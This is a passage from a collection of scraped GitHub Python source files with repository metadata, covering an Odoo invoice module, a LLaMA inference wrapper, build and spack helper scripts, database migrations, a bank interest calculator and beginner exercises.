client.run(str(token))","repo_name":"Raghvender1205/MovieBot","sub_path":"movie_bot.py","file_name":"movie_bot.py","file_ext":"py","file_size_in_byte":10970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"1637118835","text":"from src.models.user import User\nfrom src.db import get_db\n\n\ndef test_orderline_mapper_can_load_lines(app):  # (1)\n    with app.app_context():\n        db = get_db()\n        res = db.query(User).all()\n\n    assert res[0].username == 'test'\n    assert res[1].username == 'other'\n","repo_name":"neverthedev/lingvar","sub_path":"tests/integrations/test_orm.py","file_name":"test_orm.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35778278636","text":"#!/usr/bin/env python\nimport os\nimport subprocess\nimport sys\nfrom toolchain import GetEnv\n\n\ndef main(arch, outdir, tlb, h, dlldata, iid, proxy, idl, *flags):\n  \"\"\"Filter noisy filenames output from MIDL compile step that isn't\n  quietable via command line flags.\n  \"\"\"\n  args = ['midl', '/nologo'] + list(flags) + [\n      '/out', outdir,\n      '/tlb', tlb,\n      '/h', h,\n      '/dlldata', dlldata,\n      '/iid', iid,\n      '/proxy', proxy,\n      idl]\n  env = GetEnv(arch)\n  popen = subprocess.Popen(args, shell=True, env=env, universal_newlines=True,\n                           stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n  out, _ = popen.communicate()\n  # Filter junk out of stdout, and write filtered versions. Output we want\n  # to filter is pairs of lines that look like this:\n  # Processing C:\\Program Files (x86)\\Microsoft SDKs\\...\\include\\objidl.idl\n  # objidl.idl\n  lines = out.splitlines()\n  prefixes = ('Processing ', '64 bit Processing ')\n  processing = set(os.path.basename(x)\n                   for x in lines if x.startswith(prefixes))\n  for line in lines:\n    if not line.startswith(prefixes) and line not in processing:\n      print(line)\n  return popen.returncode\n\nif __name__ == '__main__':\n  sys.exit(main(*sys.argv[1:]))\n","repo_name":"timniederhausen/gn-build","sub_path":"toolchain/win/midl_wrapper.py","file_name":"midl_wrapper.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"37"}
+{"seq_id":"24215281350","text":"import re\nfrom .. import HtmlParser, strformat\n\n\nimgtag_re = re.compile(r\"(?i)\\s+alt\\s*=\\s*\"+\\\n                       r\"\"\"(?P<name>(\"[^\"\\n]*\"|'[^'\\n]*'|[^\\s>]+))\"\"\")\nimg_re = re.compile(r\"\"\"(?i)<\\s*img\\s+(\"[^\"\\n]*\"|'[^'\\n]*'|[^>])+>\"\"\")\n\n\ndef endtag_re (tag):\n    \"\"\"Return matcher for given end tag\"\"\"\n    return re.compile(r\"(?i)</%s\\s*>\" % tag)\n\na_end_search = endtag_re(\"a\").search\ntitle_end_search = endtag_re(\"title\").search\n\n\ndef _unquote (txt):\n    \"\"\"Resolve entities and remove markup from txt.\"\"\"\n    return HtmlParser.resolve_entities(strformat.remove_markup(txt))\n\n\ndef image_name (txt):\n    \"\"\"Return the alt part of the first <img alt=\"\"> tag in txt.\"\"\"\n    mo = imgtag_re.search(txt)\n    if mo:\n        name = strformat.unquote(mo.group('name').strip())\n        return  _unquote(name)\n    return u''\n\n\ndef href_name (txt):\n    \"\"\"Return the name part of the first <a href=\"\">name</a> link in txt.\"\"\"\n    name = u\"\"\n    endtag = a_end_search(txt)\n    if not endtag:\n        return name\n    name = txt[:endtag.start()]\n    if img_re.search(name):\n        return image_name(name)\n    return _unquote(name)\n\n\ndef title_name (txt):\n    \"\"\"Return the part of the first <title>name</title> in txt.\"\"\"\n    name = u\"\"\n    endtag = title_end_search(txt)\n    if not endtag:\n        return name\n    name = txt[:endtag.start()]\n    return _unquote(name)\n","repo_name":"wummel/linkchecker","sub_path":"linkcheck/htmlutil/linkname.py","file_name":"linkname.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","stars":1401,"dataset":"github-code","pt":"37"}
+{"seq_id":"27882727921","text":"\"\"\"Create ZipCity table\n\nRevision ID: 2c2b9b1ff0e5\nRevises: d3c10a9f589a\nCreate Date: 2017-07-21 12:08:10.540166\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '2c2b9b1ff0e5'\ndown_revision = 'd3c10a9f589a'\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade(engine_name):\n    globals()[\"upgrade_%s\" % engine_name]()\n\n\ndef downgrade(engine_name):\n    globals()[\"downgrade_%s\" % engine_name]()\n\n\n\n\n\ndef upgrade_data_broker():\n    ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('zip_city',\n        sa.Column('created_at', sa.DateTime(), nullable=True),\n        sa.Column('updated_at', sa.DateTime(), nullable=True),\n        sa.Column('zip_city_id', sa.Integer(), nullable=False),\n        sa.Column('zip_code', sa.Text(), nullable=True),\n        sa.Column('city_name', sa.Text(), nullable=True),\n        sa.PrimaryKeyConstraint('zip_city_id')\n    )\n    ### end Alembic commands ###\n\n\ndef downgrade_data_broker():\n    ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('zip_city')\n    ### end Alembic commands ###\n\n","repo_name":"fedspendingtransparency/data-act-broker-backend","sub_path":"dataactcore/migrations/versions/2c2b9b1ff0e5_create_zipcity_table.py","file_name":"2c2b9b1ff0e5_create_zipcity_table.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"37"}
+{"seq_id":"25620314175","text":"import os\nimport sys\nimport subprocess\n\nfrom os.path import join as pjoin\n\n# if you have bad luck with spack load, this\n# script is for you!\n#\n# Looks for subdir: spack or uberenv_libs/spack\n# queries spack for given package names and\n# creates a bash script that adds those to your path\n#\n#\n# usage:\n# python gen_spack_env_script.py [spack_pkg_1 spack_pkg_2 ...]\n#\n\n\ndef sexe(cmd, ret_output=False, echo=True):\n    \"\"\" Helper for executing shell commands. \"\"\"\n    if echo:\n        print(\"[exe: {}]\".format(cmd))\n    if ret_output:\n        p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n        res = p.communicate()[0]\n        res = res.decode('utf8')\n        return p.returncode, res\n    else:\n        return subprocess.call(cmd, shell=True)\n\n\ndef spack_exe(spath=None):\n    if spath is None:\n        to_try = [pjoin(\"uberenv_libs\", \"spack\"), \"spack\"]\n        for p in to_try:\n            abs_p = os.path.abspath(p)\n            print(\"[looking for spack directory at: {}]\".format(abs_p))\n            if os.path.isdir(abs_p):\n                print(\"[FOUND spack directory at: {}]\".format(abs_p))\n                return os.path.abspath(pjoin(abs_p, \"bin\", \"spack\"))\n        print(\"[ERROR: failed to find spack directory!]\")\n        sys.exit(-1)\n    else:\n        spack_exe = os.path.abspath(spath, \"bin\", \"spack\")\n        if not os.path.isfile(spack_exec):\n            print(\"[ERROR: failed to find spack directory at spath={}]\").format(spath)\n            sys.exit(-1)\n        return spack_exe\n\n\ndef find_pkg(pkg_name):\n    r, rout = sexe(spack_exe() + \" find -p \" + pkg_name, ret_output=True)\n    print(rout)\n    for l in rout.split(\"\\n\"):\n        print(l)\n        lstrip = l.strip()\n        if not lstrip == \"\" and \\\n           not lstrip.startswith(\"==>\") and  \\\n           not lstrip.startswith(\"--\"):\n            return {\"name\": pkg_name, \"path\": l.split()[-1]}\n    print(\"[ERROR: failed to find package named '{}']\".format(pkg_name))\n    sys.exit(-1)\n\n\ndef path_cmd(pkg):\n    return ('export PATH={}:$PATH\\n'.format((pjoin(pkg[\"path\"], \"bin\"))))\n\n\ndef write_env_script(pkgs):\n    ofile = open(\"s_env.sh\", \"w\")\n    for p in pkgs:\n        print(\"[found {} at {}]\".format(p[\"name\"], p[\"path\"]))\n        ofile.write(\"# {}\\n\".format(p[\"name\"]))\n        ofile.write(path_cmd(p))\n    print(\"[created {}]\".format(os.path.abspath(\"s_env.sh\")))\n\n\ndef main():\n    pkgs = [find_pkg(pkg) for pkg in sys.argv[1:]]\n    if len(pkgs) > 0:\n        write_env_script(pkgs)\n    else:\n        print(\"usage: python gen_spack_env_script.py spack_pkg_1 spack_pkg_2 ...\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"GEOS-DEV/GEOS","sub_path":"scripts/uberenv/gen_spack_env_script.py","file_name":"gen_spack_env_script.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","stars":172,"dataset":"github-code","pt":"37"}
+{"seq_id":"35345777676","text":"\nclass GetInterventionKeyList(object):\n\n    def __init__(self, conn, context):\n        self._dw_connection = conn\n        # self._dw_connection = DWAccess()\n        self._context = context\n        self._schema_name = self._context[\"SCHEMA_NAME\"]\n\n    def getting_intervention_key_list(self, type_list):\n        \"\"\"\n        Return related intervention keys according to alert types from UI.\n\n        :param type_list: Alert Types, e.g. 'IZS, Shelf OOS, Chronic OOS, DC Push' or '*'\n        :return: key list: Getting related keys from table ANL_DIM_OSM_INTERVENTIONCLASSIFICATION.\n                            if * then return all keys\n        \"\"\"\n        _list = self.__process(type_list)\n        return _list\n\n    def __process(self, type_list):\n        print(\"\\n-------------- Calling GetInterventionKeyList function --------------\")\n        print(type_list, type(type_list))\n        _in_type_list = ','.join(\"\\'\" + ele + \"\\'\" for ele in type_list.split(','))\n        # print(_in_type_list)\n\n        # if _type_list = '*', then retrieving all intervention keys.\n        if type_list == '*':\n            sql = \"SELECT interventionkey FROM {SCHEMA_NAME}.ANL_DIM_OSM_INTERVENTIONCLASSIFICATION \" \\\n                  \"ORDER BY 1;\"\\\n                .format(SCHEMA_NAME=self._schema_name)\n            _intervention_keys = self._dw_connection.query_with_result(sql)\n\n        # Otherwise, getting related intervention keys for given alert types.\n        else:\n            sql = \"SELECT interventionkey FROM {SCHEMA_NAME}.ANL_DIM_OSM_INTERVENTIONCLASSIFICATION \" \\\n                  \"WHERE alerttype IN ({TYPE_LIST}) \" \\\n                  \"OR AlertSubType IN ({TYPE_LIST}) ORDER BY 1;\"\\\n                .format(SCHEMA_NAME=self._schema_name, TYPE_LIST=_in_type_list)\n            print(sql)\n            _intervention_keys = self._dw_connection.query_with_result(sql)\n            \n        _intervention_key_list = ','.join([str(__tmp_key['INTERVENTIONKEY']) for __tmp_key in _intervention_keys])\n\n        print(\"-------------- Calling GetInterventionKeyList function ended --------------\\n\")\n\n        return _intervention_key_list\n\n\nif __name__ == '__main__':\n    get_key = GetInterventionKeyList('param1', 'param2')\n    # get_key = GetInterventionKeyList('PEPSI_AHOLD_MB', '*', 'HUB_FUNCTION_MB')\n    lst = get_key.getting_intervention_key_list('TNV,D-Void,Shelf OOS,Phantom,Forced Count,IZS,AA')\n    print(lst)\n","repo_name":"Testudinate/osa","sub_path":"AFM/scripts/afm/GetInterventionkeyList.py","file_name":"GetInterventionkeyList.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"5010801167","text":"import json\n\nclass Local:\n    def __init__(self, id, nombre, t_cocina, platos, pr_min, pr_max, popul, disp,imagen, id_ubicacion):\n        self.id = id\n        self.nombre = nombre\n        self.t_cocina = t_cocina\n        self.platos = platos\n        self.pr_min = pr_min\n        self.pr_max = pr_max\n        self.popul = popul\n        self.disp = disp\n        self.imagen = imagen\n        self.id_ubicacion = id_ubicacion\n\n    @classmethod\n    def cargar_locales(cls, archivo):\n        with open(archivo, \"r\") as f:\n            data = json.load(f)\n        return [cls(**local) for local in data]\n\n","repo_name":"NelFerVi/Food_Travel","sub_path":"models/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"10394599354","text":"# 2.1 The if-else construction as a whole forms a single conditional statement.\n\nnumber = int(input(\"Please type in a number: \"))\n\nif number % 2 == 0:\n    print(\"The number is even\")\nelse:\n    print(\"The number is odd\")\n\n# 2.2 Age of maturity\n\nage = int(input('How old are you?'))\n\nif age < 18:\n    print('You are not of age!')\nelse:\n    print('You are of age!')\n\n# 2.3 Alternative branches using the elif statement\n\ngoals_home = int(input(\"Home goals scored: \"))\ngoals_away = int(input(\"Away goals scored: \"))\n\nif goals_home > goals_away:\n    print(\"The home team won!\")\nelif goals_away > goals_home:\n    print(\"The away team won!\")\nelse:\n    print(\"It's a tie!\")\n\n# 2.4 The elder\n\n\nprint('Person 1:')\nname = input('Name:')\nage = int(input(\"age\"))\n\nprint('Person 2:')\nname_2= input('Name')\nage_2 = int(input('Age'))\n\n\nif age_2 < age :\n    print(f'The elder is {name}')\nelif age_2 > age:\n    print(f'The elder is {name_2}')\nelse:\n    print(f'{name} and {name_2} are the same age')\n\n# 2.5 Alphabetically last\n\nword_1 = input('Please type in 1st word:')\nword_2 = input('Please type in 2nd word:')\nif word_1.capitalize()> word_2.capitalize():\n    print(f'{word_1} comes alphabetically last')\nelif word_1.capitalize()< word_2.capitalize():\n    print(f'{word_2} comes alphabetically last')\nelse:\n    print(f'You gave the same word twice.')\n\n\n","repo_name":"TuanDao-0110/Python_Course","sub_path":"part2/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"33831208144","text":"from setuptools import setup, find_packages\n\nlong_description = open(\"README.md\").read()\n\nsetup(name='grouper',\n      version=\"0.0.1\",\n      author=\"Christopher H Barker\",\n      author_email=\"PythonCHB@gmail.com\",\n      description=\"Prototype for a special dict for groupby operations\",\n      long_description=long_description,\n      long_description_content_type=\"text/markdown\",\n      url=\"https://github.com/PythonCHB/grouper\",\n      packages=find_packages(),\n      classifiers=(\"Programming Language :: Python :: 3\",\n                   \"License :: OSI Approved :: BSD2 License\",\n                   \"Operating System :: OS Independent\",\n                   ),\n      )\n","repo_name":"PythonCHB/grouper","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"40734894158","text":"import torch\nfrom transformers import LlamaTokenizer, LlamaForCausalLM, GenerationConfig\nfrom peft import PeftModel, get_peft_model, set_peft_model_state_dict, LoraConfig\nfrom llama_cpp import Llama\nfrom typing import Optional\nfrom transformers import GenerationConfig\n\n\nclass llamaEngine():\n    r\"\"\"\n        llama Engine wrapper according to choosing use gpu or not\n    \"\"\"\n\n    def __init__(self,base_path:str,gpu:bool=True,adapter_path:Optional[str]=None,multi_gpu:Optional[bool]=False):\n        if gpu:\n            self.engine=llama_gpu_Engine(base_path=base_path,adapter_path=adapter_path,multi_gpu=multi_gpu)\n        else:\n            self.engine=llama_cpp_Engine(base_path=base_path)\n    def __call__(self, prompt, stop=None,**kwargs):\n        return self.engine(prompt,stop=stop,**kwargs)\n\n\nclass llama_gpu_Engine():\n    r\"\"\"\n        llama Engine for inference.\n        Example:\n        >>>lengine=llamaEngine(base_path=YOUR_BASE_PATH,adapter_path=YOUR_ADAPTER_PATH)\n        >>>print(lengine('介绍一下浙江大学'))\n    \"\"\"\n    def __init__(self,base_path:str,adapter_path:Optional[str]=None,multi_gpu:Optional[bool]=False):\n        \n        self.tokenizer = LlamaTokenizer.from_pretrained(base_path)\n        self.tokenizer.pad_token_id = 0\n        self.tokenizer.padding_side = \"left\"\n        \"\"\"init model\"\"\"\n        if not multi_gpu:\n            self.model = LlamaForCausalLM.from_pretrained(\n            base_path,\n            load_in_8bit=True,\n            device_map={'':'cuda:1'},\n            )\n            if adapter_path is not None:\n                \"\"\"apply lora\"\"\"\n                config = LoraConfig(\n                    r=8,\n                    lora_alpha=16,\n                    target_modules=[\"q_proj\", \"v_proj\"],\n                    lora_dropout=0.05,\n                    bias=\"none\",\n                    task_type=\"CAUSAL_LM\"\n                )\n                self.model = get_peft_model(self.model, config) \n                adapters_weights = torch.load(adapter_path, map_location=\"cuda:1\")\n                self.model = set_peft_model_state_dict(self.model, adapters_weights)\n        else:\n            \"\"\"multi GPU enable float16\"\"\"\n            self.model = LlamaForCausalLM.from_pretrained(\n                base_path,\n                torch_dtype=torch.float16,\n                device_map=\"auto\",\n            )\n            if adapter_path is not None:\n                \"\"\"apply lora\"\"\"\n                self.model = PeftModel.from_pretrained(\n                    self.model, \n                    adapter_path,\n                    torch_dtype=torch.float16\n                )\n\n    def __call__(self, prompt, stop=None,**kwargs):\n        inputs = self.tokenizer(prompt, return_tensors=\"pt\")\n        input_ids = inputs[\"input_ids\"].cuda()      \n        #set default values\n        temperature=kwargs.pop('temperature',0.6)\n        top_p=kwargs.pop('top_p',0.95)\n        repetition_penalty=kwargs.pop('repetition_penalty',1.15)\n        max_new_tokens=kwargs.pop('max_new_tokens',256)\n        generation_config = GenerationConfig(\n            temperature=temperature,\n            top_p=top_p,\n            repetition_penalty=repetition_penalty,\n        )\n        with torch.no_grad():\n            generation_output = self.model.generate(\n                input_ids=input_ids,\n                generation_config=generation_config,\n                return_dict_in_generate=True,\n                output_scores=True,\n                max_new_tokens=max_new_tokens,\n            )\n        s = generation_output.sequences[0]\n        output = self.tokenizer.decode(s,skip_special_tokens=True)\n        del input_ids, generation_output,s\n        torch.cuda.empty_cache()\n        return output\n\nclass llama_cpp_Engine():\n    def __init__(self,base_path:str):\n        self.model= Llama(model_path=base_path)\n\n    def __call__(self, prompt, stop=None,**kwargs):\n        if stop is None:\n            stop=[\"\\n\"]\n        max_tokens=kwargs.pop('max_new_tokens',256),\n        output=self.model(prompt,stop=stop,max_tokens=max_tokens)\n        return output\nif __name__ == \"__main__\":\n   \n    # Step1: Initialize according to the your model path and the weight format\n    # Load the model in hf format\n    lengine=llamaEngine(base_path='/mnt/ceph-user/jyn/model/llama_hf_7B',gpu=True,multi_gpu=True) \n    # Load the model in cpp format\n    # lengine=llamaEngine(base_path=YOUR_BASE_PATH,gpu=False)\n\n    # Step2: do inference\n    generation_config = GenerationConfig(\n                        temperature=0.6,\n                        top_p=0.95,\n                        repetition_penalty=1.15,\n                    )\n    print(lengine('介绍一下浙江大学',generation_config))\n","repo_name":"Dorakmon0219/DeepKE","sub_path":"EasyInstruct/easyinstruct/engines/llama_engine.py","file_name":"llama_engine.py","file_ext":"py","file_size_in_byte":4680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"42203553454","text":"from flockos import chat\nfrom PyDictionary import PyDictionary\n\n\ndef handleWord(word, guid, token):\n    meaning = fetchOneMeaning(word)\n    if (meaning == None):\n        meaning = \"Not Found\"\n    sendMessage(meaning, guid, token)\n\n\ndef fetchOneMeaning(word):\n    dictionary = PyDictionary()\n    try:\n        dictMeaning = dictionary.meaning(word)\n    except:\n        return None\n    return dictMeaning.values()[0][0]\n\n\ndef sendMessage(message, guid, token):\n    response = chat.send_message(token=token, to=guid.encode('ascii'), text=message)\n","repo_name":"robinsuri-zz/Dictionary","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"22968326569","text":"# Írj egy programot ami kiszámítja az ágazati írásbeli vzsgán elért pontszám alapján az elért eredményt százalékosan.\ndef szazalek():\n\n    while True:\n        nev = input(\"Add meg a hallgató nevét: \")\n        if nev == \"\":\n            break\n        pontszam = int(input(\"Add meg a pontszámot: \"))\n        pontszam_szazalek = pontszam / 30 * 100\n\n        print(f\"A {nev} nevű hallgató százalékos pontszáma: {pontszam_szazalek:.0f}%\")\n\nszazalek()\n\n","repo_name":"peterteszary/Vasvari-Code-Repository-For-Study-Purposes","sub_path":"Python Projects/Practice3/peter-vizsga-szazalek.py","file_name":"peter-vizsga-szazalek.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"hu","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"4086221175","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api,_\nfrom odoo.tools import float_is_zero\nfrom datetime import datetime, timedelta\ntry:\n    import cStringIO as stringIOModule\nexcept ImportError:\n    try:\n        import StringIO as stringIOModule\n    except ImportError:\n        import io as stringIOModule\nimport base64\nimport xlwt\n\n\nclass AccountInvoiceLineInherit(models.Model):\n    _inherit = 'account.invoice.line'\n\n    x_price_subtotal = fields.Float('Change Subtotal')\n    analytic_tag_ids = fields.Many2many('account.analytic.tag', string='Analytic Tags')\n\n    @api.onchange('x_price_subtotal')\n    def _onchange_price_subtotal(self):\n        self.ensure_one()\n        self.price_unit = self.x_price_subtotal / self.quantity\n\n    # kế thừa hàm compute price có sẵn và tính lại tổng tiền\n    @api.one\n    @api.depends('price_unit', 'discount', 'invoice_line_tax_ids', 'quantity',\n                 'product_id', 'invoice_id.partner_id', 'invoice_id.currency_id', 'invoice_id.company_id',\n                 'invoice_id.date_invoice', 'invoice_id.date')\n    def _compute_price(self):\n        res = super(AccountInvoiceLineInherit, self)._compute_price()\n        currency = self.invoice_id and self.invoice_id.currency_id or None\n        price = self.price_unit * (1 - (self.discount or 0.0) / 100.0)\n        taxes = False\n        if self.invoice_line_tax_ids:\n            taxes = self.invoice_line_tax_ids.compute_all(price, currency, self.quantity, product=self.product_id,\n                                                          partner=self.invoice_id.partner_id)\n        if self.x_price_subtotal:\n            self.price_subtotal = self.x_price_subtotal\n        else:\n            self.price_subtotal = taxes['total_excluded'] if taxes else self.quantity * price\n        self.price_total = taxes['total_included'] if taxes else self.price_subtotal\n\n        return res\n\n\nclass AccountInvoiceInherit(models.Model):\n    _inherit = 'account.invoice'\n\n    @api.one\n    @api.depends('invoice_line_ids.price_subtotal', 'tax_line_ids.amount_total',\n                 'currency_id', 'company_id', 'date_invoice', 'type', 'invoice_line_ids.x_price_subtotal')\n    def _compute_x_amount(self):\n        round_curr = self.currency_id.round\n        amount_untaxed = 0.0\n        for line in self.invoice_line_ids:\n            if line.x_price_subtotal == 0:\n                amount_untaxed += line.price_subtotal\n            else:\n                amount_untaxed += line.x_price_subtotal\n        self.x_amount_untaxed = amount_untaxed\n        self.x_amount_tax = sum(round_curr(line.amount_total) for line in self.tax_line_ids)\n        self.x_amount_total = self.x_amount_untaxed + self.amount_tax\n\n    x_amount_untaxed = fields.Monetary(string='Untaxed Amount',\n                                       store=True, readonly=True, compute='_compute_x_amount',\n                                       track_visibility='always')\n    x_amount_tax = fields.Monetary(string='Tax',\n                                 store=True, readonly=True, compute='_compute_amount')\n    x_amount_total = fields.Monetary(string='Total',\n                                       store=True, readonly=True, compute='_compute_x_amount',\n                                       track_visibility='always')\n    x_description = fields.Text('Description')\n\n    @api.multi\n    def write(self, vals):\n        if 'x_description' in vals.keys():\n            if self.move_id:\n                self.move_id.ref = vals.get('x_description')\n        return super(AccountInvoiceInherit, self).write(vals)\n\n    @api.onchange('x_description')\n    def onchange_x_description(self):\n        if self.x_description:\n            if self.move_id:\n                self.move_id.ref = self.move_id.ref + ' ' + self.x_description\n\n    @api.multi\n    def action_invoice_open(self):\n        super(AccountInvoiceInherit, self).action_invoice_open()\n        if self.x_description:\n            if self.move_id:\n                self.move_id.ref = self.x_description\n\n    @api.model\n    def invoice_line_move_line_get(self):\n        res = []\n        for line in self.invoice_line_ids:\n            if not line.account_id:\n                continue\n            if line.quantity == 0:\n                continue\n            tax_ids = []\n            for tax in line.invoice_line_tax_ids:\n                tax_ids.append((4, tax.id, None))\n                for child in tax.children_tax_ids:\n                    if child.type_tax_use != 'none':\n                        tax_ids.append((4, child.id, None))\n            analytic_tag_ids = [(4, analytic_tag.id, None) for analytic_tag in line.analytic_tag_ids]\n\n            move_line_dict = {\n                'invl_id': line.id,\n                'type': 'src',\n                'name': line.name,\n                'price_unit': line.price_unit,\n                'quantity': line.quantity,\n                'price': line.price_subtotal if line.x_price_subtotal == 0 else line.x_price_subtotal,\n                'account_id': line.account_id.id,\n                'product_id': line.product_id.id,\n                'uom_id': line.uom_id.id,\n                'account_analytic_id': line.account_analytic_id.id,\n                'analytic_tag_ids': analytic_tag_ids,\n                'tax_ids': tax_ids,\n                'invoice_id': self.id,\n            }\n            res.append(move_line_dict)\n        return res\n\n    @api.multi\n    def action_print_excel(self):\n        wb = xlwt.Workbook(encoding=\"UTF-8\")\n        ws = wb.add_sheet('Detail Invoice')\n        editable = xlwt.easyxf(\"protection: cell_locked false;\")\n        read_only = xlwt.easyxf(\"\")\n        header_style = xlwt.easyxf(\"pattern: pattern solid, fore_color black; align: HORZ CENTER, VERT CENTER;font: height 280,color white;\\\n                                                               borders: left thin, right thin, top thin,top_color white, bottom_color white, right_color white, left_color white; pattern: pattern solid;\")\n\n        ws.col(0).width = 10 * 150\n        ws.col(1).width = 10 * 500\n        ws.col(2).width = 10 * 500\n        ws.col(3).width = 10 * 500\n        ws.col(4).width = 10 * 600\n        ws.col(5).width = 10 * 250\n        ws.col(6).width = 10 * 750\n        ws.col(7).width = 10 * 500\n        ws.col(8).width = 10 * 500\n        ws.col(9).width = 10 * 500\n        ws.write(0, 0, u'STT', header_style)\n        ws.write(0, 1, u'Code', header_style)\n        ws.write(0, 2, u'Style', header_style)\n        ws.write(0, 3, u'Mã SP', header_style)\n        ws.write(0, 4, u'Tên SP', header_style)\n        ws.write(0, 5, u\"Đơn vị\", header_style)\n        ws.write(0, 6, u\"Tài khoản\", header_style)\n        ws.write(0, 7, u\"SL\", header_style)\n        ws.write(0, 8, u\"Đơn giá\", header_style)\n        ws.write(0, 9, u\"Tổng tiền\", header_style)\n\n        editable = xlwt.easyxf(\"borders: left thin, right thin, top thin, bottom thin;\")\n        style_content = xlwt.easyxf(\"align: horiz right;borders: left thin, right thin, top thin, bottom thin;\")\n        style_head_po = xlwt.easyxf('align: wrap on')\n        style = xlwt.XFStyle()\n        style.num_format_str = '#,##0'\n        borders = xlwt.Borders()\n        borders.left = xlwt.Borders.THIN\n        borders.right = xlwt.Borders.THIN\n        borders.top = xlwt.Borders.THIN\n        borders.bottom = xlwt.Borders.THIN\n        style.borders = borders\n        index = 1\n        for line in self.invoice_line_ids:\n            if line:\n                ws.write(index, 0, index, editable)\n                ws.write(index, 1, line.product_id.product_tmpl_id.x_product_code_id.name, editable)\n                ws.write(index, 2, line.product_id.product_tmpl_id.x_product_style_id.name, editable)\n                ws.write(index, 3, line.product_id.product_tmpl_id.default_code, editable)\n                ws.write(index, 4, line.product_id.product_tmpl_id.name, editable)\n                ws.write(index, 5, line.product_id.product_tmpl_id.uom_id.name, style_content)\n                ws.write(index, 6, line.account_id.code, editable)\n                ws.write(index, 7, line.quantity, style)\n                ws.write(index, 8, line.price_unit, style)\n                ws.write(index, 9, line.x_price_subtotal if line.x_price_subtotal != 0 else line.price_subtotal, style)\n                index += 1\n\n        stream = stringIOModule.BytesIO()\n        wb.save(stream)\n        xls = stream.getvalue()\n        vals = {\n            'name': 'Invoice' + '.xls',\n            'datas': base64.b64encode(xls),\n            'datas_fname': self.origin + '.xls',\n            'type': 'binary',\n            'res_model': 'account.invoice',\n            'res_id': self.id,\n        }\n        file_xls = self.env['ir.attachment'].create(vals)\n        return {\n            'type': 'ir.actions.act_url',\n            'url': '/web/content/' + str(file_xls.id) + '?download=true',\n            'target': 'new',\n        }\n","repo_name":"butagreeza/korea_spa","sub_path":"addons_custom/ev_account_change/models/account_invoice.py","file_name":"account_invoice.py","file_ext":"py","file_size_in_byte":8899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"71553022187","text":"import mysql.connector\r\nfrom datetime import date\r\nimport datetime\r\nimport convert_date as cd  #return date in datetime datatype \r\nmycon=mysql.connector.connect(host=\"localhost\", user=\"root\", passwd=\"root\", database=\"bank\")\r\nmycon.autocommit=True\r\ncursor=mycon.cursor()\r\n\r\n\r\n#interest calculation quarterly 2022-23 \r\n\r\ndef calc(f_date,t_date,bal):\r\n    acc=[] #list to store active and savings account number  \r\n    deposit=0.0\r\n    withdrawal=0.0\r\n    s=\"select account_num from master where activity='{}' and account_type='{}' \".format('A','S')\r\n    cursor.execute(s)\r\n    for row in cursor:\r\n        acc.append(row[0])\r\n   # print(acc)\r\n    for i in range (len(acc)):\r\n        acnt=acc[0]\r\n        while f_date <= t_date:\r\n            s=\"select amount from deposit where account_num={} and date_of_deposit='{}' \".format(acnt, f_date)\r\n            cursor.execute(s)\r\n            for row in cursor:\r\n                if not row[0] == None:\r\n                    deposit+=float(row[0])\r\n            s=\"select amount from withdrawal where account_num={} and date_of_withdrawal='{}' \".format(acnt ,f_date)\r\n            cursor.execute(s)\r\n            for row in cursor :\r\n                if not row[0]==None:\r\n                    withdrawal+=float(row[0])\r\n            f_date=f_date+ datetime.timedelta(days=1)\r\n        bal+=deposit-withdrawal # after 1st quarter op_bal calculated.\r\n        intr=((bal*4)/100.0)/4\r\n        print(deposit,withdrawal,bal)\r\n        #send interest smsssss\r\n        bal+=intr\r\n        s=\"insert into deposit values ('{}',{},{},{},'{}','{}') \".format(t_date,acnt,intr,0,'I',' ')\r\n        cursor.execute(s)\r\n\r\n    return bal,acnt\r\n\r\n    \r\n    \r\ndef cal_main():\r\n    dd,d2=cd.ret_date('2022-04-01','2022-06-30')\r\n    c_bal,acnt=calc(dd,d2,0.0)\r\n    dd,d2=cd.ret_date('2022-07-01','2022-09-30')\r\n    c_bal,acnt=calc(dd,d2,c_bal)\r\n    dd,d2=cd.ret_date('2022-10-01','2022-12-31')\r\n    c_bal,acnt=calc(dd,d2,c_bal)\r\n    dd,d2=cd.ret_date('2023-01-01','2023-03-31')\r\n    c_bal,acnt=calc(dd,d2,c_bal)\r\n    s=\"update closing_bal set 